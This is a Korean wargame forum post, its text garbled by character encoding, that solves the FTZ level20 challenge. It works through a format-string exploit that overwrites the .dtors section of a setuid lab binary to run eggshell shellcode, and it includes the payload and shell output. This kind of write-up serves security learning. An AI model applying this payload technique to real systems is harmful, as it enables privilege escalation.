·¹º§ ÇØÅ·

 2844, 10/143 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   pogusm
   level20 / .dtors(destructor) ¿µ¿ªÀ» ¼öÁ¤ÇÏ¿©, ½©ÄÚµå ½ÇÇàÇϱâ.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2581 [º¹»ç]


level20 / .dtors(destructor) ¿µ¿ªÀ» ¼öÁ¤ÇÏ¿©, ½©ÄÚµå ½ÇÇàÇϱâ.

[level20@ftz in]$ cat ~/hint

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}


[level20@ftz in]$ ./egg 512 300
Using address: 0xbffff95c


// constructors ¼Ó¼ºÀÇ Æã¼ÇÀº main()Àü¿¡ ½ÇÇàµÇ°í,
// destructor ¼Ó¼ºÀÇ Æã¼ÇµéÀº main()Á¾·áÈÄ¿¡ ½ÇÇàµÈ´Ù.
// ÀÌµé ¼Ó¼ºÀº ÇÁ·Î±×·¡¸Ó¿¡ ÀÇÇØ Á¤Àǵɼö ÀÖÀ¸³ª,
// Á¤ÀǵÇÁö ¾Ê´õ¶óµµ, ±× ¿µ¿ªÀº Á¸ÀçÇÑ´Ù.


[level20@ftz in]$ objdump -h ~/attackme

/home/level20/attackme:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
                .
                .
14 .eh_frame     00000004  080484b4  080484b4  000004b4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .data         0000000c  080494b8  080494b8  000004b8  2**2
                  CONTENTS, ALLOC, LOAD, DATA
16 .dynamic      000000c8  080494c4  080494c4  000004c4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
17 .ctors        00000008  0804958c  0804958c  0000058c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
18 .dtors        00000008  08049594  08049594  00000594  2**2
                  CONTENTS, ALLOC, LOAD, DATA
19 .jcr          00000004  0804959c  0804959c  0000059c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
20 .got          00000020  080495a0  080495a0  000005a0  2**2
                  CONTENTS, ALLOC, LOAD, DATA

[level20@ftz in]$ objdump -s -j .dtors ~/attackme

/home/level20/attackme:     file format elf32-i386

Contents of section .dtors:
8049594 ffffffff 00000000                    ........

/// .ctors¿Í .dtors  µÑ´Ù ¾Æ·¡¿Í °°Àº ·¹À̾ƿôÀ» °®´Â´Ù.
///    0xffffffff <function address> <another function address> ... 0x00000000
///
/// À§ °á°ú¿¡¼­ ~/attackme ÀÇ .dtors¿µ¿ªÀº Á¸ÀçÇϳª,
/// function address°¡ 00000000ÀΰÍÀ¸·Î º¸¾Æ, Á¤ÀǵǾîÀÖÁö ¾ÊÀºµíÇÏ´Ù.
/// ¹Ù·Î ÀÌ 00000000ºÎºÐÀ», ½©Äڵ尡 À§Ä¡ÇÑ ÁÖ¼Ò·Î µ¤¾î¾º¾îÁÖ¸é °ø°Ý¿¡ ¼º°øÇÒ°Í °°´Ù..

/// 0x08049594 = ffffffff
/// 0x08049598 = 00000000   <-- À̺κÐÀÌ´Ù.

/// °ø°ÝÁغñ
[level20@ftz in]$ ~/attackme
AAAABBBB %x %x %x %x %x
AAAABBBB 4f 40157460 4009d500 41414141 42424242

/// À§ °á°ú·Î½á, $-flag¸¦ ÀÌ¿ëÇؼ­ format string°ø°ÝÀ» ÇÒ¼ö ÀÖ´Ù.
/// .dtorsÀÇ Ã¹¹ø° function address ÁÖ¼ÒÀÎ 0x08049598ÁÖ¼Ò¿¡ ½©Äڵ尡 ½ÃÀ۵Ǵ °÷ÀÇ ÁÖ¼Ò·Î µ¤¾î¾²±âÇÒ°ÍÀÌ´Ù.


Eggshell¿¡ ÀÇÇÑ ½©ÄÚµåÀÇ À§Ä¡ : Using address: 0xbffff95c

0xf95c =63836
63836-8byte = 63828

0x1bfff = 114687
114687-63836=50851

"\x98\x95\x04\x08"+"\x9a\x95\x04\x08"  -- 8byte
"%63828x%4$n%50851x%5$n"

[level20@ftz in]$ (python -c 'print "\x98\x95\x04\x08"+"\x9a\x95\x04\x08"+"%63828x%4$n%50851x%5$n"';cat) | ~/attackme
..............»ý·«............................
                                                                               40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "************************".

---------------------------------------------------------------------------------------------
Âü°í¹®¼­--
How to make shellcode in linux for beginners ( http://hdp.null2root.org/system/willy_sc.txt )
Format-String-Bug ÀÌÇØÇϱâ (http://badnom.com/211)
$-flag¸¦ ÀÌ¿ëÇÑ Format String °ø°Ý (http://x82.inetcop.org/h0me/papers/$-flag-formatstring.txt)
ÇØÄ¿½ºÄð Áú¹®°ú´äº¯°Ô½ÃÆÇ randomkid´ÔÀÇ ±Û (http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=2578)
ÇÁ·Î±×·¥ ½ÇÇà º¯°æÀ» À§ÇØ .dtors¿µ¿ª µ¤¾î ¾²±â(http://www.hackerschool.org/HS_Boards/data/Lib_system/dtor_fs.txt)


  Hit : 3405     Date : 2007/11/23 04:03



    
2664   level1¿¡¼­ find ¸í·É¾î[2]     ÀÌ¿ìÇü
07/29 3414
2663   level1À» Ǫ´Â ´Ù¸¥¹æ¹ý[6]     lunawyrd
05/24 3413
2662     [re] [Áú¹®]level6 ¿¾³¯ ÀÎÆ÷˜Þ bbs¿¡¼­ ¸¹ÀÌ ¾²´ø ÇØÅ·¹ý..?     hkpco
09/08 3410
2661   bof¹®Á¦µé eggshell·Î ¸øǪ³ª¿ä?[3]     lMaxl04
05/09 3408
2660   cmd·Î ¸Þ½ÃÁöº¸³»´Â°ÅÁú¹®...[3]     pjk4817
08/25 3405
        level20 / .dtors(destructor) ¿µ¿ªÀ» ¼öÁ¤ÇÏ¿©, ½©ÄÚµå ½ÇÇàÇϱâ.     pogusm
11/23 3404
2658     [re] Level2 Áú¹®[1]     ¼ÒÀ¯
09/13 3404
2657   level 12 ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù ¤Ð¤Ð ¹ÌÄ¡°«À½[2]     cjy9306
01/06 3402
2656   (±ä±Þ)·¹º§3¿¡ °üÇÑ Áú¹®ÀÌ°í¿ä, ¶Ç À¯Ä¡¿ø¿¡¼­ ÃʵîÇлýÀ¸·Î Áø±ÞÇÏ´Â ¹æ¹ý?[2]     lkharch
10/16 3401
2655   ·¹º§2¿¡¼­...[4]     dnjswowkd
09/07 3401
2654   level11À̶û level12 ½©¸ð¾çÀÌ Æ²¸®°Ô ¶ß´Â ÀÌÀ¯Á» ¾Ë·ÁÁÖ¼¼¿ä     pogusm
11/15 3395
2653   cmd¿¡¼­ ÅÚ³ÝÀ¸·Î Á¢¼ÓÇÒ¶§...[2]     centerki
04/30 3391
2652   µµ´ëü Æ®·¹ÀÌ³Ê 2 ¾î¶»°Ô Ç϶ó´Â°ÅÁÒ[3]     baka0327
07/06 3389
2651     [re] [level2]-ÀÚ¼¼ÇÑ ³»¿ëÀÔ´Ï´Ù.[3]     kuh3h3
07/14 3380
2650   ºñ¹Ð¹øÈ£°¡ ¾ÈÃÄÁ®¿ä[3]     chul9526
12/28 3376
2649   ´Ù¸¥ ¿ö°ÔÀÓ ¹®Á¦ Àε¥¿ä ¾î¶»°Ô Ç®¾î¾ß Çϳª¿ä? [3]     gkswls123
01/08 3374
2648   ¹éµµ¾î[3]     shtjdanr
09/09 3373
2647     [re] ·¹º§4[1]     hkpco
09/11 3372
2646   level2¿¡´ëÇÑ ¼³¸í[1]     koresong
03/25 3369
2645   Æ®·¹ÀÌ´× ´äº¯ ºÎŹ¿ë..[2]     knagek
09/04 3356
[1][2][3][4][5][6][7][8][9] 10 ..[143]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org